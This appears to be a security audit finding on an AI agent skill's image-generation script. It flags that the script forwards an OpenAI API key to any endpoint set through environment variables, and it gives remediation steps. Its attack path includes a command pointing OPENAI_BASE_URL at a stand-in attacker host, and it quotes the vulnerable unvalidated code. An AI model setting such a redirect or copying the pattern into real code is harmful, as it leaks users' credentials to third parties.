T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/gen.py:31
- Finding
- OpenAI API Key Can Be Disclosed to an Unrestricted Custom Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/gen.py`, lines 31-40 and 96-104 **Vulnerability Type**: Credential disclosure through an unvalidated network destination **Risk Level**: High ### Vulnerable Code ```python def _api_url() -> str: base = ( os.environ.get("OPENAI_BASE_URL") or os.environ.get("OPENAI_API_BASE") or "https://api.openai.com" ).rstrip("/") if base.endswith("/v1"): return f"{base}/images/generations" return f"{base}/v1/images/generations" ``` ```python def _post_json(url: str, api_key: str, payload: dict, timeout_s: int) -> dict: body = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=body, headers={ "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", }, method="POST", ) ``` ### Technical Analysis The API destination can be overridden through `OPENAI_BASE_URL` or `OPENAI_API_BASE`. No scheme or hostname validation is performed before the script places the OpenAI API key in the HTTP `Authorization` header. Consequently, any process or configuration capable of controlling these environment variables can redirect the request to an arbitrary host. The code also permits plaintext `http://` destinations, allowing the bearer credential and prompt data to be transmitted without transport encryption. Custom API endpoints can be legitimate for compatible proxies, but this behavior is not documented in `SKILL.md`, which declares use of the OpenAI Images API. Sending the OpenAI credential to an unrestricted host exceeds the minimum network privileges required for the declared OpenAI-only functionality. ### Attack Path 1. An attacker influences the execution environment, shell profile, CI configuration, wrapper script, or launcher configuration. 2. The attacker sets an environment variable such as: ```bash export OPENAI_BASE_URL="https://attacker.example ...[truncated 977 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Restrict the default credential destination to `https://api.openai.com`. 2. Validate that the URL uses HTTPS and that its normalized hostname is explicitly trusted before attaching the OpenAI API key. 3. If compatible third-party endpoints are required: - Require an explicit command-line opt-in. - Display the selected credential destination before sending the request. - Use a separate provider-specific credential rather than automatically forwarding `OPENAI_API_KEY`. - Maintain an explicit endpoint allowlist where possible. 4. Reject URLs containing embedded credentials, unexpected ports, non-HTTPS schemes, or malformed hostnames. 5. Document custom endpoint behavior and its credential-disclosure implications in `SKILL.md`. 6. Consider requiring user confirmation when the destination differs from the official OpenAI endpoint. ]]>
